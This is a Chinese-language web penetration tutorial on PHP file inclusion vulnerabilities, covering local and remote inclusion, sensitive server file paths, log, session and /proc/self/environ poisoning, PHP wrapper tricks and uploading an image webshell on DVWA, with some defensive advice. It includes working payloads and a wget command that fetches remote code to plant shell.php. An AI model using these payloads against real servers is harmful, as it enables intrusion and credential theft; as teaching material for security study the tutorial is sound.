【W(wǎng)eb滲透】文件包含漏洞
當前位置:點晴教程→知識管理交流
→『 技術(shù)文檔交流 』
一、文件包含漏洞概述1.什么是文件包含 程序開發(fā)人員通常會把可重復使用的函數(shù)寫到單個文件中,在使用某個函數(shù)的時候,直接調(diào)用此文件,無需再次編寫,這種調(diào)用文件的過程通常稱為包含。 2.文件包含漏洞產(chǎn)生原理 文件包含函數(shù)加載的參數(shù)沒有經(jīng)過過濾或嚴格定義,可以被用戶控制,包含其他惡意文件,導致了執(zhí)行非預期代碼。 程序開發(fā)人員都希望代碼更加靈活,所以通常會把被包含的文件設(shè)置為變量來進行動態(tài)調(diào)用,但正是由于這種靈活性,從而導致客戶端可以調(diào)用任意文件,造成文件包含漏洞 例子 $_GET['filename']參數(shù)開發(fā)者沒有經(jīng)過嚴格的過濾,直接帶入了include的函數(shù),攻擊者可以修改$_GET['filename']的值,執(zhí)行非預期的操作。 show.php即可為用戶上傳的可執(zhí)行的惡意腳本文件 包含文件內(nèi)容只要符合php語法都能被當成php代碼進行解析,無關(guān)后綴名是什么 特點 條件
php相關(guān)配置 allow_url_fopen=On// 本地文件包含(LFI),但這個無論On或Off,本地文件包含都存在allow_url_include=On// 遠程文件包含(RFI) 3.存在文件包含的腳本語言及應(yīng)用函數(shù)
require:函數(shù)出現(xiàn)錯誤時,會直接報錯并退出程序執(zhí)行 require_once:出錯直接退出;且僅包含一次。在腳本執(zhí)行期間同一個文件可能被多次引用,確保只包含一次以避免函數(shù)重定義,變量重新賦值等問題。 include:出現(xiàn)錯誤時,會出現(xiàn)警告但是程序會繼續(xù)執(zhí)行 include-once:出現(xiàn)錯誤時,會拋出警告,且僅包含一次
ava.io.file() java.io.filereader()
include file include virtual 4.文件包含漏洞的危害
常見的敏感信息路徑: Windows系統(tǒng) c:\boot.ini // 查看系統(tǒng)版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存儲Windows系統(tǒng)初次安裝的密碼 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼 c:\windows\php.ini // php 配置信息 Linux/Unix系統(tǒng) /etc/passwd // 賬戶信息 /etc/shadow // 賬戶密碼文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網(wǎng)站配置 /usr/local/app/php5/lib/php.ini // PHP相關(guān)配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件 二、文件包含漏洞類型1.本地文件包含漏洞(LFI) 能夠讀取或執(zhí)行包含本地文件的漏洞,稱為本地文件包含漏洞。 包含服務(wù)器本身存在的惡意文件 a.txt <?php phpinfo(); ?> b.php <?php $b=$_GET['id']; include($b); ?> payload localhost/b.php?id=a.txt //返回phpinfo頁面 注:
2.遠程文件包含(RFI) 包含其他網(wǎng)站上的惡意文件 遠程文件包含利用條件:在php.ini中allow_url_fopen=on、allow_url_include=on payload: localhost/b.php?id=http://ip/文件路徑 注:遠程包含的文件路徑必須是絕對路徑 三、常用的防御方式
代碼在進行文件包含時,如果文件名可以確定,可以設(shè)置白名單對傳入的參數(shù)進行比較。
由于Include/Require可以對PHP Wrapper形式的地址進行包含執(zhí)行(需要配置php.ini),在 Linux環(huán)境中可以通過”../../”的形式進行目錄繞過,所以需要判斷文件名稱是否為合法的PHP 文 件。
PHP配置文件中有open_basedir選項可以設(shè)置用戶需要執(zhí)行的文件目錄,如果設(shè)置目錄的 話,PHP僅僅在該目錄內(nèi)搜索文件。
PHP配置中的allow_url_include選項如果打開,PHP會通過Include/Require進行遠程文件包 含,由于遠程文件的不可信任性及不確定性,在開發(fā)中禁止打開此選項,PHP默認是關(guān)閉的。 四、常用的利用方式1.本地文件包含配合日志文件 1、日志的默認路徑 /etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003 C:WINDOWSsystem32Logfiles //iis6.0+win2003 %SystemDrive%inetpublogsLogFiles //iis7.0+win2003 nginx 日志文件在用戶安裝目錄的logs目錄下 2、web中間件默認配置uoh文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003 C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win 3、利用 訪問http://www.xx.com/<?php phpinfo(); ?>時,<?php phpinfo(); ?>也會被記錄在日志里,也可以插入到User-Agent;但是在日志里這句話被編碼了;所以用Burp Suite修改來繞過編碼;然后包含相應(yīng)的日志文件:http://localhost/include/file.php?file=../../apache/logs/access.log //(這里利用相對路徑,找到日志文件,并以php解析的方式打開) 4、防御 隱藏或修改默認日志文件 設(shè)置日志文件讀取權(quán)限 找到Apache路徑,利用包含漏洞包含日志文件獲取Webshell。 Apache兩個日志文件:access.log、error.log 很多時候,web服務(wù)器會將請求寫入到日志文件中,比如說apache。在用戶發(fā)起請求時,會將請求寫入access.log,當發(fā)生錯誤時將錯誤寫入error.log。 各字段分別為:客戶端地址、訪問者標識、訪問者的驗證名字、請求時間、請求類型、狀態(tài)碼、發(fā)送給客戶端的字節(jié)數(shù) 當發(fā)現(xiàn)網(wǎng)站存在包含漏洞,但無webshell文件包含,也無上傳點時 當訪問不存在的資源時,apache日志同樣會記錄。 訪問127.0.0.1/include/<?php phpinfo();?>,再包含日志文件 2.本地文件包含配合/proc/self/environ文件 1、找文件包含漏洞www.aaa.com/view.php?page=../www.aaa.com/view.php?page=../../../../../etc/passwd 2、檢查proc/self/environ是否可以訪問www.aaa.com/view.php?page=../../../../../proc/self/environ 3、如果可讀就注入代碼 訪問:www.aaa.com/view.php?page=../../../../../proc/self/environ 選擇User-Agent 寫代碼如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交請求;我們的命令將被執(zhí)行(將下載http://www.yourweb.com/oneword.txt,并將其保存為它在shell.php網(wǎng)站目錄),我們的shell也就被創(chuàng)建,.如果不行,嘗試使用exec(),因為系統(tǒng)可能被禁用的從php.ini網(wǎng)絡(luò)服務(wù)器. 4、訪問shell 5、防御: 設(shè)置proc/self/environ不可訪問 3.本地文件包含配合session文件 ?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2 //讀取session文件 利用條件: session的存儲位置可以獲取。 通過phpinfo的信息可以獲取到session的存儲位置。 通過phpinfo的信息,獲取到session.save_path為/var/lib/php/session: 通過猜測默認的session存放位置進行嘗試。 session中的內(nèi)容可以被控制,傳入惡意代碼。 示例: <?phpsession_start();$ctfs=$_GET['ctfs'];$_SESSION["username"]=$ctfs;?> 漏洞分析 此php會將獲取到的GET型ctfs變量的值存入到session中。 當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 后,會在/var/lib/php/session目錄下存儲session的值。 session的文件名為sess_+sessionid,sessionid可以通過開發(fā)者模式獲取。 所以session的文件名為sess_akp79gfiedh13ho11i6f3sm6s6。 到服務(wù)器的/var/lib/php/session目錄下查看果然存在此文件,內(nèi)容為: username|s:4:"ctfs";[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6username|s:4:"ctfs" 漏洞利用 通過上面的分析,可以知道ctfs傳入的值會存儲到session文件中,如果存在本地文件包含漏洞,就可以通過ctfs寫入惡意代碼到session文件中,然后通過文件包含漏洞執(zhí)行此惡意代碼getshell。 當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,會在/var/lib/php/session目錄下存儲session的值。 [root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1ausername|s:18:"<?php phpinfo();?>"; 攻擊者通過phpinfo()信息泄露或者猜測能獲取到session存放的位置,文件名稱通過開發(fā)者模式可獲取到,然后通過文件包含的漏洞解析惡意代碼getshell。 4.php偽協(xié)議 PHP內(nèi)置了很多URL風格的封裝協(xié)議,可用于類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統(tǒng)函數(shù),如下所示:
有一些敏感信息會保存在php文件中,如果我們直接利用文件包含去打開一個php文件,php代碼是不會顯示在頁面上的,例如打開data目錄下的config.php: 這時候我們可以以base64編碼的方式讀取指定文件的源碼: 輸入:php://filter/convert.base64-encode/resource=文件路徑 得到config.php加密后的源碼:
利用data:// 偽協(xié)議可以直接達到執(zhí)行php代碼的效果,例如執(zhí)行phpinfo()函數(shù): 如果此處對特殊字符進行了過濾,我們還可以通過base64編碼后再輸入:
如果網(wǎng)站允許我們上傳壓縮文件,我們也可以將php文件壓縮后進行上傳,再通過zip://協(xié)議執(zhí)行。 以DVWA平臺為例,我們將phpinfo.php文件進行壓縮后上傳: 通過zip://協(xié)議執(zhí)行zip壓縮包中的phpinfo.php文件:
5.配合文件上傳使用 有時候我們找不到文件上傳漏洞,無法上傳webshell,可以先上傳一個圖片格式的webshell到服務(wù)器,再利用本地文件包含漏洞進行解析。 以DVWA平臺為例,編輯一個圖片馬,內(nèi)容如下: 找到上傳點進行上傳: 文件保存的完整路徑為: C:\phpStudy\WWW\hackable\uploads\webshell.jpg DVWA平臺low等級文件包含漏洞頁面如下: 該頁面用于讀取C:\phpStudy\WWW\vulnerabilities\fi\路徑中的文件,代碼如下: 現(xiàn)在我們利用該頁面去執(zhí)行我們上傳的圖片馬,路徑需要從C:\phpStudy\WWW\vulnerabilities\fi\ 轉(zhuǎn)到C:\phpStudy\WWW\hackable\uploads\webshell.jpg 構(gòu)造URL如下,頁面無報錯: 可以看到fi文件夾中生成了一個webshell: 使用webshell管理工具連接即可。 注:我們也可以直接在webshell.jpg中寫一句話木馬,然后再通過文件包含漏洞去連接webshell.jpg,但這種方法有時候webshell功能會出現(xiàn)異常。所以我們選擇上面的方式,生成一個.php格式的一句話木馬,再去連接。 五、常用的繞過方式該文章在 2023/12/11 16:06:02 編輯過 |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |